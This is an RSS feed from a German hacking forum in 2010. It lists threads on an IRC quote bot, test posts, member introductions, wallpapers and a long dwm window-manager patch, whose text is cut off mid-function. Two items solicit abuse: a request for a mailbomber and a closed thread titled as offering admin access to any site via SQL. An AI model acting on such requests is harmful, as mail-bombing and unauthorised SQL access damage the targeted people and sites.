<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Back2Hack.cc - Alle Foren]]></title>
		<link>http://back2hack.cc/</link>
		<description><![CDATA[Back2Hack.cc - http://back2hack.cc]]></description>
		<pubDate>Sat, 31 Jul 2010 09:11:29 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[IRC-Zitate]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3596</link>
			<pubDate>Fri, 30 Jul 2010 23:44:36 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3596</guid>
			<description><![CDATA[Hallo ich bin Monty, der IRC-Bot von 0x1cedd1ce.<br />
In diesem Thread möchte ich die Zitate aus unserem IRC-Channel sammeln.<br />
Neue Zitate kann man mit:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>!Zitat &lt;anfang&gt; &lt;ende&gt; Kommentar</code></div></div>
erstellen.<br />
Wobei Anfang und ende zahlen sind, die angeben wie weit ich im Log zurückgehen muss um Anfang und Ende des Zitates zu finden]]></description>
			<content:encoded><![CDATA[Hallo ich bin Monty, der IRC-Bot von 0x1cedd1ce.<br />
In diesem Thread möchte ich die Zitate aus unserem IRC-Channel sammeln.<br />
Neue Zitate kann man mit:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>!Zitat &lt;anfang&gt; &lt;ende&gt; Kommentar</code></div></div>
erstellen.<br />
Wobei Anfang und ende zahlen sind, die angeben wie weit ich im Log zurückgehen muss um Anfang und Ende des Zitates zu finden]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[test]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3594</link>
			<pubDate>Fri, 30 Jul 2010 10:40:26 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3594</guid>
			<description><![CDATA[trial &amp; error :)<hr />
weis jemand wie die post-daten bei MyBB für ein neuen post aussehen. Also was man mit seinem Text machen muss wenn man ihn in einem Thread posten möchte<hr />
testtest<hr />
test2]]></description>
			<content:encoded><![CDATA[trial &amp; error :)<hr />
weis jemand wie die post-daten bei MyBB für ein neuen post aussehen. Also was man mit seinem Text machen muss wenn man ihn in einem Thread posten möchte<hr />
testtest<hr />
test2]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[fürs protokoll]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3593</link>
			<pubDate>Fri, 30 Jul 2010 10:25:07 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3593</guid>
			<description><![CDATA[ich bin auch hier]]></description>
			<content:encoded><![CDATA[ich bin auch hier]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hallo liebe Leute]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3591</link>
			<pubDate>Thu, 29 Jul 2010 13:29:09 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3591</guid>
			<description><![CDATA[Hallo liebes Back2Hack Team,<br />
mein Name ist PariBac und bin durch Zufall auf dieses Forum gestoßen.<br />
Eigentlich bin ich auf dem Gebiet der Computersicherheit ein Neuling. <br />
Jedoch hoffe ich, dass ich hier viel lernen kann. :-D<br />
Neben meinem Abitur beschäftigen ich mich zurzeit mit HTML, php und ein wenig Delphi und später wollte ich es mit Perl versuchen ;-)<br />
<br />
In diesem Sinne viele liebe Grüße<br />
<br />
euer PariBac]]></description>
			<content:encoded><![CDATA[Hallo liebes Back2Hack Team,<br />
mein Name ist PariBac und bin durch Zufall auf dieses Forum gestoßen.<br />
Eigentlich bin ich auf dem Gebiet der Computersicherheit ein Neuling. <br />
Jedoch hoffe ich, dass ich hier viel lernen kann. :-D<br />
Neben meinem Abitur beschäftigen ich mich zurzeit mit HTML, php und ein wenig Delphi und später wollte ich es mit Perl versuchen ;-)<br />
<br />
In diesem Sinne viele liebe Grüße<br />
<br />
euer PariBac]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Back2Hack Veränderungen &#x26; Wünsche]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3590</link>
			<pubDate>Thu, 29 Jul 2010 02:07:44 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3590</guid>
			<description><![CDATA[Hallo,<br />
<br />
Wir haben im Team diverse Änderungen in der Zukunft von Back2Hack besprochen. Auf diese werde ich jetzt nicht eingehen, dazu wird später ein Statement folgen.<br />
<br />
Wir wollen aber gern noch wissen, was ihr euch wünscht.<br />
<br />
Deswegen wäre es schön wenn ihr hier Wünsche , Vorschläge und sonstiges posten würdet.<br />
<br />
Generell geht es darum aus back2hack, back2hack++ zu machen :P , sprich es zu verbessern.<br />
<br />
Postet mal fleißig, gunner]]></description>
			<content:encoded><![CDATA[Hallo,<br />
<br />
Wir haben im Team diverse Änderungen in der Zukunft von Back2Hack besprochen. Auf diese werde ich jetzt nicht eingehen, dazu wird später ein Statement folgen.<br />
<br />
Wir wollen aber gern noch wissen, was ihr euch wünscht.<br />
<br />
Deswegen wäre es schön wenn ihr hier Wünsche , Vorschläge und sonstiges posten würdet.<br />
<br />
Generell geht es darum aus back2hack, back2hack++ zu machen :P , sprich es zu verbessern.<br />
<br />
Postet mal fleißig, gunner]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Suche Mailbomber]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3589</link>
			<pubDate>Wed, 28 Jul 2010 14:22:30 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3589</guid>
			<description><![CDATA[Suche einen einfachen Mailbomber.]]></description>
			<content:encoded><![CDATA[Suche einen einfachen Mailbomber.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Admin zugang! Any Site with Sql!]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3588</link>
			<pubDate>Wed, 28 Jul 2010 09:34:00 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3588</guid>
			<description><![CDATA[Closed!]]></description>
			<content:encoded><![CDATA[Closed!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Shoutbox iss wech]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3586</link>
			<pubDate>Wed, 28 Jul 2010 05:06:25 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3586</guid>
			<description><![CDATA[Ja wo isse denn? Wollte gerade meinen guten morgen wakka eingeben und stellte somit fest: Sie ist weg!]]></description>
			<content:encoded><![CDATA[Ja wo isse denn? Wollte gerade meinen guten morgen wakka eingeben und stellte somit fest: Sie ist weg!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[GFX&#93;Wallpaper]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3585</link>
			<pubDate>Tue, 27 Jul 2010 16:53:58 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3585</guid>
			<description><![CDATA[Hey Leuts,<br />
Von mir gibts auch nochmal ein Wallpaper...<br />
Ist aber nichts besonderes. Ich habe es sehr schlicht gehalten.<br />
<u><a href="http://anonym.to/?http://img708.imageshack.us/img708/9059/back2hack.jpg" target="_blank">http://img708.imageshack.us/img708/9059/back2hack.jpg</a></u><br />
<br />
Und da habe ich noch ein Wallpaper auf der Festplatte gefunden welches ich früher mal gemacht habe.<br />
<u><a href="http://anonym.to/?http://img638.imageshack.us/img638/147/wallpaperworld.jpg" target="_blank">http://img638.imageshack.us/img638/147/w...rworld.jpg</a></u>]]></description>
			<content:encoded><![CDATA[Hey Leuts,<br />
Von mir gibts auch nochmal ein Wallpaper...<br />
Ist aber nichts besonderes. Ich habe es sehr schlicht gehalten.<br />
<u><a href="http://anonym.to/?http://img708.imageshack.us/img708/9059/back2hack.jpg" target="_blank">http://img708.imageshack.us/img708/9059/back2hack.jpg</a></u><br />
<br />
Und da habe ich noch ein Wallpaper auf der Festplatte gefunden welches ich früher mal gemacht habe.<br />
<u><a href="http://anonym.to/?http://img638.imageshack.us/img638/147/wallpaperworld.jpg" target="_blank">http://img638.imageshack.us/img638/147/w...rworld.jpg</a></u>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[DWM for tha win!]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3584</link>
			<pubDate>Tue, 27 Jul 2010 14:37:11 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3584</guid>
			<description><![CDATA[Ich möchte euren Geist mit diesem genial Patch erleuchten:<br />
<br />
dwm.c patch<br />
 == Patched with bstack, cycle, push, init layouts/pertag, useless gaps, statuscolor and focuso<strong></strong>nclick ==<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>diff -r 170beedf6847 -r 952b146c1cdd dwm.c<br />
--- a/dwm.c&nbsp;&nbsp;&nbsp;&nbsp;Tue Jul 27 14:27:21 2010 +0200<br />
+++ b/dwm.c&nbsp;&nbsp;&nbsp;&nbsp;Tue Jul 27 14:28:13 2010 +0200<br />
@@ -19,6 +19,8 @@<br />
&nbsp;&nbsp;* Keys and tagging rules are organized as arrays and defined in config.h.<br />
&nbsp;&nbsp;*<br />
&nbsp;&nbsp;* To understand everything else, start reading main().<br />
+ *<br />
+ * == Patched with bstack, cycle, push, init layouts/pertag, useless gaps, statuscolor and focusonclick ==<br />
&nbsp;&nbsp;*/<br />
 #include &lt;errno.h&gt;<br />
 #include &lt;locale.h&gt;<br />
@@ -48,6 +50,7 @@<br />
 #define LENGTH(X)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (sizeof X / sizeof X[0&#93;)<br />
 #define MAX(A, B)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((A) &gt; (B) ? (A) : (B))<br />
 #define MIN(A, B)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((A) &lt; (B) ? (A) : (B))<br />
+#define MAXCOLORS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8<br />
 #define MOUSEMASK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (BUTTONMASK|PointerMotionMask)<br />
 #define WIDTH(X)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((X)-&gt;w + 2 * (X)-&gt;bw)<br />
 #define HEIGHT(X)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((X)-&gt;h + 2 * (X)-&gt;bw)<br />
@@ -97,8 +100,7 @@<br />
 <br />
 typedef struct {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;int x, y, w, h;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned long norm[ColLast&#93;;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned long sel[ColLast&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned long colors[MAXCOLORS&#93;[ColLast&#93;;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;Drawable drawable;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;GC gc;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;struct {<br />
@@ -122,26 +124,6 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;void (*arrange)(Monitor *);<br />
 } Layout;<br />
 <br />
-struct Monitor {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;char ltsymbol[16&#93;;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;float mfact;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int num;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int by;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* bar geometry */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int mx, my, mw, mh;&nbsp;&nbsp; /* screen size */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;int wx, wy, ww, wh;&nbsp;&nbsp; /* window area&nbsp;&nbsp;*/<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned int seltags;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned int sellt;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;unsigned int tagset[2&#93;;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Bool showbar;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Bool topbar;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Client *clients;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Client *sel;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Client *stack;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Monitor *next;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;Window barwin;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;const Layout *lt[2&#93;;<br />
-};<br />
-<br />
 typedef struct {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;const char *class;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;const char *instance;<br />
@@ -158,6 +140,7 @@<br />
 static void arrangemon(Monitor *m);<br />
 static void attach(Client *c);<br />
 static void attachstack(Client *c);<br />
+static void bstack(Monitor *m);<br />
 static void buttonpress(XEvent *e);<br />
 static void checkotherwm(void);<br />
 static void cleanup(void);<br />
@@ -175,8 +158,9 @@<br />
 static Monitor *dirtomon(int dir);<br />
 static void drawbar(Monitor *m);<br />
 static void drawbars(void);<br />
-static void drawsquare(Bool filled, Bool empty, Bool invert, unsigned long col[ColLast&#93;);<br />
-static void drawtext(const char *text, unsigned long col[ColLast&#93;, Bool invert);<br />
+static void drawcoloredtext(char *text);<br />
+static void drawsquare(Bool filled, Bool empty, unsigned long col[ColLast&#93;);<br />
+static void drawtext(const char *text, unsigned long col[ColLast&#93;, Bool pad);<br />
 static void enternotify(XEvent *e);<br />
 static void expose(XEvent *e);<br />
 static void focus(Client *c);<br />
@@ -201,9 +185,13 @@<br />
 static Client *nexttiled(Client *c);<br />
 static Monitor *ptrtomon(int x, int y);<br />
 static void propertynotify(XEvent *e);<br />
+static Client *prevtiled(Client *c);<br />
+static void pushup(const Arg *arg);<br />
+static void pushdown(const Arg *arg);<br />
 static void quit(const Arg *arg);<br />
 static void resize(Client *c, int x, int y, int w, int h, Bool interact);<br />
 static void resizeclient(Client *c, int x, int y, int w, int h);<br />
+static void resize_orig_gapless(Client *c, int x, int y, int w, int h, Bool interact);<br />
 static void resizemouse(const Arg *arg);<br />
 static void restack(Monitor *m);<br />
 static void run(void);<br />
@@ -213,6 +201,9 @@<br />
 static void setlayout(const Arg *arg);<br />
 static void setmfact(const Arg *arg);<br />
 static void setup(void);<br />
+static int shifttag(int dist);<br />
+static void cycle(const Arg *arg);<br />
+static void tagcycle(const Arg *arg);<br />
 static void showhide(Client *c);<br />
 static void sigchld(int unused);<br />
 static void spawn(const Arg *arg);<br />
@@ -278,6 +269,31 @@<br />
 /* configuration, allows nested code to access above variables */<br />
 #include "config.h"<br />
 <br />
+struct Monitor {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;char ltsymbol[16&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;float mfact;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int num;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int by;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* bar geometry */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int mx, my, mw, mh;&nbsp;&nbsp; /* screen size */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int wx, wy, ww, wh;&nbsp;&nbsp; /* window area&nbsp;&nbsp;*/<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int seltags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int sellt;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int tagset[2&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool showbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool topbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *clients;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *stack;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Monitor *next;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Window barwin;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;const Layout *lt[2&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int prevtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;const Layout *lts[LENGTH(tags) + 1&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;double mfacts[LENGTH(tags) + 1&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool showbars[LENGTH(tags) + 1&#93;;<br />
+};<br />
+<br />
 /* compile-time check if all tags fit into an unsigned int bit array. */<br />
 struct NumTags { char limitexceeded[LENGTH(tags) &gt; 31 ? -1 : 1&#93;; };<br />
 <br />
@@ -418,6 +434,36 @@<br />
 }<br />
 <br />
 void<br />
+bstack(Monitor *m) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int x, y, h, w, mh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i, n;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *c;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(n = 0, c = nexttiled(m-&gt;clients); c; c = nexttiled(c-&gt;next), n++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(n == 0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;/* master */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c = nexttiled(m-&gt;clients);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;mh = m-&gt;mfact * m-&gt;wh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;resize(c, m-&gt;wx, m-&gt;wy, m-&gt;ww - 2 * c-&gt;bw, (n == 1 ? m-&gt;wh : mh) - 2 * c-&gt;bw, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(--n == 0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;/* tile stack */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;x = m-&gt;wx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;y = (m-&gt;wy + mh &gt; c-&gt;y + c-&gt;h) ? c-&gt;y + c-&gt;h + 2 * c-&gt;bw : m-&gt;wy + mh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;w = m-&gt;ww / n;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;h = (m-&gt;wy + mh &gt; c-&gt;y + c-&gt;h) ? m-&gt;wy + m-&gt;wh - y : m-&gt;wh - mh;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(w &lt; bh)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;w = m-&gt;ww;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0, c = nexttiled(c-&gt;next); c; c = nexttiled(c-&gt;next), i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize(c, x, y, /* remainder */ ((i + 1 == n)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ? m-&gt;wx + m-&gt;ww - x - 2 * c-&gt;bw : w - 2 * c-&gt;bw), h - 2 * c-&gt;bw, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(w != m-&gt;ww)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x = c-&gt;x + WIDTH(c);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+}<br />
+<br />
+void<br />
 buttonpress(XEvent *e) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;unsigned int i, x, click;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;Arg arg = {0};<br />
@@ -618,9 +664,9 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;mfact = mfact;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;showbar = showbar;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;topbar = topbar;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lt[0&#93; = &amp;layouts[0&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lt[0&#93; = &amp;layouts[initlayouts[1&#93;&#93; &amp;&amp; initlayouts[1&#93; &lt;&nbsp;&nbsp;LENGTH(layouts) ? &amp;layouts[initlayouts[1&#93;&#93; : &amp;layouts[0&#93;;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lt[1&#93; = &amp;layouts[1 % LENGTH(layouts)&#93;;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;strncpy(m-&gt;ltsymbol, layouts[0&#93;.symbol, sizeof m-&gt;ltsymbol);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strncpy(m-&gt;ltsymbol, initlayouts[1&#93; &amp;&amp; initlayouts[1&#93; &lt; LENGTH(layouts) ? layouts[initlayouts[1&#93;&#93;.symbol : layouts[0&#93;.symbol, sizeof m-&gt;ltsymbol);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;return m;<br />
 }<br />
 <br />
@@ -696,14 +742,13 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.x = 0;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; LENGTH(tags); i++) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.w = TEXTW(tags[i&#93;);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = m-&gt;tagset[m-&gt;seltags&#93; &amp; 1 &lt;&lt; i ? dc.sel : dc.norm;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(tags[i&#93;, col, urg &amp; 1 &lt;&lt; i);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m == selmon &amp;&amp; selmon-&gt;sel &amp;&amp; selmon-&gt;sel-&gt;tags &amp; 1 &lt;&lt; i,<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; occ &amp; 1 &lt;&lt; i, urg &amp; 1 &lt;&lt; i, col);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = dc.colors[ (m-&gt;tagset[m-&gt;seltags&#93; &amp; 1 &lt;&lt; i ? 1:(urg &amp; 1 &lt;&lt; i ? 2:0))&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(tags[i&#93;, col, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m == selmon &amp;&amp; selmon-&gt;sel &amp;&amp; selmon-&gt;sel-&gt;tags &amp; 1 &lt;&lt; i, occ &amp; 1 &lt;&lt; i, col);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x += dc.w;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.w = blw = TEXTW(m-&gt;ltsymbol);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;ltsymbol, dc.norm, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;ltsymbol, dc.colors[0&#93;, True);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.x += dc.w;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;x = dc.x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(m == selmon) { /* status is only drawn on selected monitor */<br />
@@ -713,19 +758,19 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.w = m-&gt;ww - x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(stext, dc.norm, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawcoloredtext(stext);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;else<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = m-&gt;ww;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if((dc.w = dc.x - x) &gt; bh) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(m-&gt;sel) {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = m == selmon ? dc.sel : dc.norm;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;sel-&gt;name, col, False);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m-&gt;sel-&gt;isfixed, m-&gt;sel-&gt;isfloating, False, col);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = m == selmon ? dc.colors[1&#93; : dc.colors[0&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(m-&gt;sel-&gt;name, col, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawsquare(m-&gt;sel-&gt;isfixed, m-&gt;sel-&gt;isfloating, col);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(NULL, dc.norm, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(NULL, dc.colors[0&#93;, False);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XCopyArea(dpy, dc.drawable, m-&gt;barwin, dc.gc, 0, 0, m-&gt;ww, bh, 0, 0);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSync(dpy, False);<br />
@@ -739,13 +784,42 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawbar(m);<br />
 }<br />
 <br />
+void drawcoloredtext(char *text) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Bool first=True;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;char *buf = text, *ptr = buf, c = 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;unsigned long *col = dc.colors[0&#93;;<br />
